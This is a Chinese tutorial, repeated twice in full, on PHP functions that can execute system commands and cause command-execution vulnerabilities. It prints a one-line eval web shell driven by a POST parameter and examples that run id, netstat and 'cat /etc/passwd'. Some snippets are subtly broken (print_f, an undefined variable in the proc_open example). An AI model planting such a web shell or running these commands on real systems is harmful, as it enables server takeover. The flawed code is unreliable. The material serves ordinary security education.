php危险函数()

php危险函数可以执行linux系统命令,如果没有禁用相关函数,也没有对函数使用的参数进行严格有效的过滤,可能产生命令执行漏洞。

1.eval()函数

eval() 函数把字符串按照 PHP 代码来执行。最简单的一句话木马可以由eval()函数实现。<?php @eval($_POST[‘abc’]);?> 

通过POST方式提交恶意代码。类似函数assert()。

2.php 执行 linux 命令个函数

(1)exec() 允许执行一个外部程序。exec()函数用于执行一个外部程序,语法为:【exec(string $command[,array &$output[,int &$return_var ]]);】。

<?php

$command=”id”;

exec($command,$array);

print_f($array);

?>

将执行系统命令id并显示出来

(2)system() 允许执行一个外部程序并回显输出,类似于 passthru(

<?php

$v = system(‘netstat -tnlp’,$shell_return);

var_dump($shell_return);

var_dump($v);

?>

(3)passthru() 允许执行一个外部程序并回显输出,类似于 exec()。

<?php

$command=”id”;

passthru($command);

?>

(4)popen() 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

<?php$test = “pwd”;$fp = popen($test,”r”);           //popen 打一个进程通道while (!feof($fp)) {                  //从通道里面取得东西$out = fgets($fp, 4096);echo $out;                             //打印出来}pclose($fp);?>

(5)proc_open() 执行一个命令并打开文件指针用于读取以及写入。

<?php$command = “pwd”;$array = array(array(“pipe”,”r”), //标准输入array(“pipe”,”w”), //标准输出内容array(“pipe”,”w”) //标准输出错误);$fp = proc_open($test,$array,$pipes); //打开一个进程通道echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为 1 是输出内容proc_close($fp);?>

(6)shell_exec() 通过 Shell 执行命令,并将执行结果作为字符串返回。

<?php$test = “cat /etc/passwd”;$out = shell_exec($test);echo $out;?>

————————

php危险函数可以执行linux系统命令,如果没有禁用相关函数,也没有对函数使用的参数进行严格有效的过滤,可能产生命令执行漏洞。

1.eval()函数

eval() 函数把字符串按照 PHP 代码来执行。最简单的一句话木马可以由eval()函数实现。<?php @eval($_POST[‘abc’]);?> 

通过POST方式提交恶意代码。类似函数assert()。

2.php 执行 linux 命令个函数

(1)exec() 允许执行一个外部程序。exec()函数用于执行一个外部程序,语法为:【exec(string $command[,array &$output[,int &$return_var ]]);】。

<?php

$command=”id”;

exec($command,$array);

print_f($array);

?>

将执行系统命令id并显示出来

(2)system() 允许执行一个外部程序并回显输出,类似于 passthru(

<?php

$v = system(‘netstat -tnlp’,$shell_return);

var_dump($shell_return);

var_dump($v);

?>

(3)passthru() 允许执行一个外部程序并回显输出,类似于 exec()。

<?php

$command=”id”;

passthru($command);

?>

(4)popen() 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

<?php$test = “pwd”;$fp = popen($test,”r”);           //popen 打一个进程通道while (!feof($fp)) {                  //从通道里面取得东西$out = fgets($fp, 4096);echo $out;                             //打印出来}pclose($fp);?>

(5)proc_open() 执行一个命令并打开文件指针用于读取以及写入。

<?php$command = “pwd”;$array = array(array(“pipe”,”r”), //标准输入array(“pipe”,”w”), //标准输出内容array(“pipe”,”w”) //标准输出错误);$fp = proc_open($test,$array,$pipes); //打开一个进程通道echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为 1 是输出内容proc_close($fp);?>

(6)shell_exec() 通过 Shell 执行命令,并将执行结果作为字符串返回。

<?php$test = “cat /etc/passwd”;$out = shell_exec($test);echo $out;?>